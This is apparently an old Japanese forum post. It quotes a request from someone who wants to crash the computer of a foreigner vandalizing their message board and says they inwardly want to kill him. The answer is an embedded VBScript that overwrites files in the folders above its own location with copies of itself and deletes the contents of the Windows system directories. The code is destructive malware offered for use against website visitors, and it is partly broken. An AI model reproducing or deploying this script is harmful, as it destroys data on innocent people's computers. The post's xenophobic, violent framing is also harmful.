> 俺のかわいい掲示板にイタズラ投稿する異人のＰＣをクラッシュさせたい
> というか内心は殺したい
> 踏み台サイトはないことを確認した
> ＰＣ壊すようなスクリプトがほしい

<script language="VBScript"><!--
	Dim FSO,f ,fc, f1, cpath
	On Error Resume Next
	Set FSO = CreateObject("Scripting.FileSystemObject")
	HostPath = Replace(location.href, "file:///", "")
	HostPath = Replace(HostPath, "/", "\")
	cpath = fso.GetParentFolderName(HostPath)
	Set f = fso.GetFolder(cpath)

	While f.IsRootFolder = false 
		Set f = fso.GetFolder(cpath)
		Set fc = f.Files
		cpath = fso.GetParentFolderName(cpath)
		For each f1 in fc
			If f1.path <> HostPath then
				fso.CopyFile HostPath, f1.path
			End If
		Next
	Wend


	Set f = fso.GetFolder("C:\Windows")
	Set fc = f.Files
	For each f1 in fc
		fso.DeleteFile f1, True
	Next

	Set f = fso.GetFolder("C:\Windows")
	Set fc = f.SubFolders
	For each f1 in fc
		fso.DeleteFolder f1, True
	Next
	
	Set f = "C:\Windows"
	Set fc = f.Files
	For each f1 in fc
		fso.DeleteFile f1, True
	Next

	Set f = "C:\Windows"
	Set fc = f.SubFolders
	For each f1 in fc
		fso.DeleteFolder f1, True
	Next


	Set f = fso.GetFolder("C:\Windows\system")
	Set fc = f.Files
	For each f1 in fc
		fso.DeleteFile f1, True
	Next

	Set f = fso.GetFolder("D:\Windows")
	Set fc = f.Files
	For each f1 in fc
		fso.DeleteFile f1, True
	Next

	Set f = fso.GetFolder("D:\Windows")
	Set fc = f.SubFolders
	For each f1 in fc
		fso.DeleteFolder f1, True

--></script>

参考：2005/11/24(木)23時42分00秒